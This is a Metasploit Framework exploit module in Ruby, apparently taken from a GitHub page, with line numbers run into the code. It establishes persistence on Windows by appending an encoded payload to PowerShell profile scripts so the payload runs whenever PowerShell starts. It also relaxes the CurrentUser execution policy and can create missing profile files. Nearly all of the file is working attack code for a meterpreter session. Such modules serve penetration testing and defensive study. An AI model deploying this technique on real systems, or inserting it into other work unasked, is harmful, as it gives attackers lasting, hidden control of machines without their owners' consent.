Path: blob/master/modules/exploits/windows/persistence/powershell_profile.rb
59979 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::Powershell10include Msf::Post::Windows::Registry11include Msf::Exploit::Local::Persistence12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Powershell Profile Persistence',19'Description' => %q{20This module establishes persistence by modifying a PowerShell profile script, which is automatically21executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)22and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.23},24'License' => MSF_LICENSE,25'Author' => [26'madefourit'27],28'Platform' => [ 'win' ],29'Arch' => [ARCH_X64, ARCH_X86],30'SessionTypes' => [ 'meterpreter' ],31'Targets' => [[ 'Auto', {} ]],32'References' => [33['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],34['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],35[ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/']36],37'DisclosureDate' => '2019-11-05',38'DefaultTarget' => 0,39'Notes' => {40'Stability' => [CRASH_SAFE],41'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],42'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]43}44)45)46register_options [47OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']]),48OptBool.new('CREATE', [false, 'If a profile file doesnt exist, create one.', false]),49OptBool.new('EXECUTIONPOLICY', [false, 'Attempt to update execution policy to execute .', true]),50]51end5253def policy_allows_execution?54# Get-ExecutionPolicy -List has words, but when converting to json to read easily it gives numbers, so we have to map them back55execution_policies = cmd_exec('powershell -NoProfile -Command "$h = @{}; Get-ExecutionPolicy -List | ForEach-Object { $h[$_.Scope.ToString()] = $_.ExecutionPolicy.ToString() }; $h | ConvertTo-Json"')56begin57@policies = JSON.parse(execution_policies)58rescue JSON::ParserError59print_error("Failed to parse powershell execution policies: #{execution_policies}")60return false61end62['Unrestricted', 'RemoteSigned', 'Bypass'].include?(@policies['CurrentUser'])63end6465def check66return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')6768unless policy_allows_execution?69if datastore['EXECUTIONPOLICY']70return Msf::Exploit::CheckCode::Appears("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}), will attempt to override")71else72return Msf::Exploit::CheckCode::Safe("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}) doesn't allow script execution, try setting EXECUTIONPOLICY")73end74end75vprint_status("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']})")7677CheckCode::Appears('Powershell is installed and exploitable on the target system')78end7980def backdoor_profile(profile_file)81module_created_file = false82unless file?(profile_file)83if datastore['CREATE']84print_status("#{profile_file} does not exist, creating it...")85folders = profile_file.split('\\')[0..-2]86folders = folders.join('\\')87# we can't use mkdir here because register_dir_for_cleanup gets called, and we handle our own cleanups88unless directory?(folders)89cmd_exec("cmd /c \"md #{folders}\"")90@clean_up_rc << "rmdir #{folders.gsub('\\', '/')}\n"91end92unless write_file(profile_file, '') # write empty file so we can append later93print_error("Failed to create profile file at #{profile_file}")94return false95end96module_created_file = true97else98print_error("#{profile_file} does not exist and CREATE option is false")99return false100end101end102103if module_created_file104@clean_up_rc << "rm #{profile_file.gsub('\\', '/')}\n"105else106pfile = read_file(profile_file)107if pfile.nil?108vprint_warning("Unable to read (and backup) existing profile file at #{profile_file}, continuing without backup")109else110backup_file = store_loot(111'powershell.profile',112'text/plain',113session,114pfile, profile_file.split('\\').last,115'powershell profile backup'116)117118print_status("Created #{profile_file} backup: #{backup_file}")119@clean_up_rc << "upload #{backup_file} #{profile_file}\n"120end121end122123pload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)124splitter = '-c '125pload = pload.split(splitter)[1..] # remove all the powershell.exe and setup/run stuff, we only need the code bit here126pload = pload.join(splitter)[1..-2] # rejoin, then remove surrounding double quotes127128vprint_status("Appending payload to #{profile_file}")129unless append_file(profile_file, "\n#{pload}\n")130print_error("Failed to append payload to #{profile_file}")131return false132end133true134end135136def install_persistence137profiles = cmd_exec('powershell -NoProfile -Command "$PROFILE | Select-Object * | ConvertTo-Json"')138begin139profiles = JSON.parse(profiles)140rescue JSON::ParserError141fail_with(Failure::UnexpectedReply, "Failed to parse powershell profile paths: #{profiles}")142end143profiles = profiles.transform_keys { |k| k.to_s.upcase }144145if !policy_allows_execution? && datastore['EXECUTIONPOLICY']146print_status('Updating Powershell execution policy for CurrentUser to RemoteSigned')147cmd_exec('powershell -NoProfile -Command "Set-ExecutionPolicy -Scope CurrentUser RemoteSigned"')148@clean_up_rc << "execute -f powershell -a \"-NoProfile -w hidden -Command 'Set-ExecutionPolicy -Scope CurrentUser #{@policies['CurrentUser']}'\"\n"149end150151case datastore['PROFILE']152when 'AUTO'153['ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'].each do |profile|154unless profiles.key?(profile)155print_error("#{profile} not found in user's profiles")156next157end158success = backdoor_profile(profiles[profile])159break if success160end161when 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'162unless profiles.key?(datastore['PROFILE'])163fail_with(Failure::UnexpectedReply, "#{datastore['PROFILE']} not found in user's profiles")164end165backdoor_profile(profiles[datastore['PROFILE']])166end167end168end169170171